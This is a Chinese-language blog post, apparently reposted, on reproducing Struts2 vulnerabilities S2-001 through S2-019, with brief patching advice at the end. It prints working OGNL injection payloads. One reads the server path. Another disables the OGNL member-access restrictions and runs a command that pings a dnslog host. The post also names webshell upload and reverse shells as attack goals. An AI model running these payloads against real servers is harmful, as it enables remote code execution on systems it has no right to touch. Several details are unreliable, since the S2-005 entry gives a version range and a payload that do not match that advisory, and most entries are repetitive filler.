Struts2框架漏洞的复现与防范措施有哪些?

Struts2是一个开源的Web应用框架,广泛应用于Java EE网络应用程序的开发,尽管其功能强大,但Struts2也暴露出多个安全漏洞,这些漏洞可能导致远程代码执行、信息泄露等严重安全问题,以下是对Struts2漏洞的详细分析:

Struts2框架漏洞的复现与防范措施有哪些?插图1

常见漏洞及复现方法

1、S2-001

漏洞原理:用户提交表单数据并验证失败时,后端会将用户之前提交的参数值使用OGNL表达式进行解析,从而重新填充到表单数据中。

影响版本:Struts 2.0.0 2.0.8

手工复现:在账号密码输入框中输入%{'123'},如果点击submit后返回的是123,则存在漏洞。

POC示例:获取Tomcat路径的POC为%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

2、S2-005

漏洞原理:通过构造恶意的OGNL表达式,绕过OGNL表达式沙盒,造成任意代码执行。

影响版本:Struts 2.0.0 – Struts 2.5.25

手工复现:使用dnslog探测漏洞是否存在,通过POST请求构造特定的OGNL表达式来执行命令。

3、S2-007

漏洞原理:与S2-005类似,通过构造恶意的OGNL表达式绕过OGNL表达式沙盒。

影响版本:特定版本(具体版本需参考官方公告)

手工复现:访问靶机,构建无回显POC,查看文件或执行命令。

4、S2-008

漏洞原理:通过构造特定的OGNL表达式,绕过OGNL表达式沙盒,执行任意代码。

影响版本:特定版本(具体版本需参考官方公告)

Struts2框架漏洞的复现与防范措施有哪些?插图3

手工复现:访问靶机,构建POC,执行命令。

5、S2-012

漏洞原理:通过构造特定的OGNL表达式,绕过OGNL表达式沙盒,执行任意代码。

影响版本:特定版本(具体版本需参考官方公告)

手工复现:访问靶机,验证漏洞,构建POC。

6、S2-013

漏洞原理:通过构造特定的OGNL表达式,绕过OGNL表达式沙盒,执行任意代码。

影响版本:特定版本(具体版本需参考官方公告)

手工复现:访问靶机,构建POC。

7、S2-015

漏洞原理:通过构造特定的OGNL表达式,绕过OGNL表达式沙盒,执行任意代码。

影响版本:特定版本(具体版本需参考官方公告)

手工复现:访问靶机,构建POC。

8、S2-016

漏洞原理:通过构造特定的OGNL表达式,绕过OGNL表达式沙盒,执行任意代码。

影响版本:特定版本(具体版本需参考官方公告)

Struts2框架漏洞的复现与防范措施有哪些?插图5

手工复现:执行扫描,命令执行。

9、S2-019

漏洞原理:通过构造特定的OGNL表达式,绕过OGNL表达式沙盒,执行任意代码。

影响版本:特定版本(具体版本需参考官方公告)

手工复现:访问靶场,构建POC。

漏洞利用目标及Payload构造

对于Struts2漏洞的利用,攻击者通常通过以下方式实现代码执行、命令执行、获取webshell或反弹shell等目标:

代码执行/命令执行:通过构造特定的OGNL表达式,绕过OGNL表达式沙盒,执行任意代码或命令。

获取webshell:通过执行命令上传webshell文件,或直接在内存中执行webshell代码。

反弹shell:通过执行命令建立反向连接,实现远程控制目标系统。

Payload的构造通常涉及对OGNL表达式的深入理解和巧妙运用,以绕过Struts2的安全机制,在S2-005漏洞中,攻击者可以通过构造如下Payload来执行命令:

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("ping vquj2m.dnslog.cn")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}

这个Payload通过一系列复杂的OGNL表达式操作,最终实现了命令执行的目的。

Struts2框架虽然功能强大,但其安全性问题不容忽视,从S2-001到S2-019等多个漏洞可以看出,攻击者可以通过构造特定的OGNL表达式来绕过Struts2的安全机制,实现远程代码执行、命令执行等恶意操作,在使用Struts2框架开发Web应用时,开发者应密切关注官方发布的安全公告和更新补丁,及时修复已知漏洞以提高系统的安全性,加强输入验证和输出编码也是防止此类漏洞被利用的有效手段之一。

以上就是关于“struts2的漏洞”的问题,朋友们可以点击主页了解更多内容,希望可以够帮助大家!

本文来源于互联网,如若侵权,请联系管理员删除,本文链接:https://www.9969.net/85504.html

(0)
上一篇 2024年10月27日 05:17
下一篇 2024年10月27日 05:29

相关推荐